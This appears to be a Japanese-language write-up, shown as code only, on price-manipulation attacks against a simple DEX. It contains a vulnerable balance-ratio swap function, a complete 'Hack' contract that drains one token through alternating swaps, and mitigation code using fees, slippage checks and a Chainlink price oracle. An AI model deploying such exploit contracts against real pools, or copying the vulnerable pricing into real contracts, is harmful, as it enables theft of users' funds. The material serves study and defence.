スマートコントラクトの価格操作攻撃：DEX脆弱性の詳細な分析と実践的エクスプロイト #

function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
    return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

function swap(address from, address to, uint256 amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    
    uint256 swapAmount = getSwapPrice(from, to, amount);
    
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDex {
    function token1() external view returns (address);
    function token2() external view returns (address);
    function setTokens(address, address) external;
    function addLiquidity(address, uint256) external;
    function swap(address, address, uint256) external;
    function getSwapPrice(address, address, uint256) external view returns (uint256);
    function approve(address, uint256) external;
    function balanceOf(address, address) external view returns (uint256);
}

contract Hack {
    IDex private immutable target;
    IERC20 private immutable t1;
    IERC20 private immutable t2;

    constructor(address _target) {
        target = IDex(_target);
        t1 = IERC20(target.token1());
        t2 = IERC20(target.token2());
    }

    function doHack() external {
        // 初期トークンの受け取り
        t1.transferFrom(msg.sender, address(this), 10);
        t2.transferFrom(msg.sender, address(this), 10);

        // 無制限の承認を設定
        t1.approve(address(target), type(uint).max);
        t2.approve(address(target), type(uint).max);

        // 連続的なスワップ操作
        _swap(t1, t2);  // トークン1 → トークン2
        _swap(t2, t1);  // トークン2 → トークン1
        _swap(t1, t2);  // トークン1 → トークン2
        _swap(t2, t1);  // トークン2 → トークン1
        _swap(t1, t2);  // トークン1 → トークン2

        // 最終的な攻撃：残りのトークン2をすべて交換
        target.swap(address(t2), address(t1), 45);
    }

    function _swap(IERC20 _in, IERC20 _out) private {
        target.swap(address(_in), address(_out), _in.balanceOf(address(this)));
    }
}

function getSwapAmount(uint256 inputAmount, uint256 inputReserve, uint256 outputReserve) 
    internal pure returns (uint256 outputAmount) {
    uint256 inputAmountWithFee = inputAmount * 997; // 0.3%手数料
    uint256 numerator = inputAmountWithFee * outputReserve;
    uint256 denominator = (inputReserve * 1000) + inputAmountWithFee;
    outputAmount = numerator / denominator;
}

function swap(
    address from,
    address to,
    uint256 amount,
    uint256 minReturn // 最小受取量
) public {
    uint256 swapAmount = getSwapPrice(from, to, amount);
    require(swapAmount >= minReturn, "Slippage too high");
    
    // 残りのswapロジック...
}

import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

contract SecureDex {
    AggregatorV3Interface internal priceFeed;
    
    constructor(address _priceFeed) {
        priceFeed = AggregatorV3Interface(_priceFeed);
    }
    
    function getExternalPrice() public view returns (uint256) {
        (, int256 price, , , ) = priceFeed.latestRoundData();
        return uint256(price);
    }
}

function addLiquidity(
    address tokenA,
    address tokenB,
    uint256 amountADesired,
    uint256 amountBDesired,
    uint256 amountAMin,
    uint256 amountBMin
) external {
    // 最小追加量の検証
    require(amountADesired >= amountAMin, "INSUFFICIENT_A_AMOUNT");
    require(amountBDesired >= amountBMin, "INSUFFICIENT_B_AMOUNT");
    
    // 残りのロジック...
}